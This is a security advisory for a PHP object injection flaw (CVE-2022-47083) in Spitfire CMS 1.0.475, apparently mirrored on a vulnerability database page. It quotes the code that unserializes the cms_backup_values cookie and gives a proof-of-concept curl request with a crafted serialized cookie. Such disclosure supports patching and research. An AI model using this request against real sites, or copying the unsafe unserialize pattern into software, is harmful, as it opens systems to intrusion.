Spitfire CMS 1.0.475 (cms_backup_values) PHP Object Injection

🗓️ 09 Dec 2022 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 227 Views

Spitfire CMS 1.0.475 PHP Object Injection vul

Reporter	Title	Published	Views	Family All 10
ATTACKERKB	CVE-2022-47083	10 Jan 202317:15	–	attackerkb
Circl	CVE-2022-47083	10 Jan 202320:28	–	circl
CNNVD	Spitfire CMS 代码问题漏洞	10 Jan 202300:00	–	cnnvd
CVE	CVE-2022-47083	10 Jan 202300:00	–	cve
Cvelist	CVE-2022-47083	10 Jan 202300:00	–	cvelist
NVD	CVE-2022-47083	10 Jan 202317:15	–	nvd
OSV	CVE-2022-47083	10 Jan 202317:15	–	osv
Prion	Design/Logic Flaw	10 Jan 202317:15	–	prion
Positive Technologies	PT-2023-15157 · Unknown · Spitfire Cms	10 Jan 202300:00	–	ptsecurity
RedhatCVE	CVE-2022-47083	23 May 202500:59	–	redhatcve

<html><body><p>Spitfire CMS 1.0.475 (cms_backup_values) PHP Object Injection


Vendor: Claus Muus
Product web page: http://spitfire.clausmuus.de
Affected version: 1.0.475

Summary: Spitfire is a system to manage the content of webpages.

Desc: The application is prone to a PHP Object Injection vulnerability
due to the unsafe use of unserialize() function. A potential attacker,
authenticated, could exploit this vulnerability by sending specially
crafted requests to the web application containing malicious serialized
input.

-----------------------------------------------------------------------
cms/edit/tpl_backup.inc.php:
----------------------------
47:  private function status ()
48:  {
49:      $status = array ();
50:
51:      $status['values'] = array ();
52:      $status['values'] = isset ($_COOKIE['cms_backup_values']) ? unserialize ($_COOKIE['cms_backup_values']) : array ();
...
...
77:  public function save ($values)
78:  {
79:      $values = array_merge ($this-&gt;status['values'], $values);
80:      setcookie ('cms_backup_values', serialize ($values), time()+60*60*24*30);
81:  }
-----------------------------------------------------------------------

Tested on: nginx


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5720
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5720.php


28.09.2022

--


&gt; curl -isk -XPOST http://10.0.0.2/cms/edit/tpl_backup_action.php \
       -H 'Content-Type: application/x-www-form-urlencoded'
       -H 'Accept: */*'
       -H 'Referer: http://10.0.0.2/cms/edit/cont_index.php?tpl=backup'
       -H 'Accept-Encoding: gzip, deflate'
       -H 'Accept-Language: en-US,en;q=0.9'
       -H 'Connection: close' \
       -H 'Cookie: tip=0; cms_backup_values=O%3a3%3a%22ZSL%22%3a0%3a%7b%7d; cms_username=admin; PHPSESSID=0e63d3a8762f4bff95050d1146db8c1c' \
       --data 'action=save&amp;&amp;value=1'
      #--data 'action=save&amp;&amp;value[files]={}'
</p></body></html>

09 Dec 2022 00:00Current

7.3High risk

Vulners AI Score7.3

CVSS 3.18.8

EPSS0.00938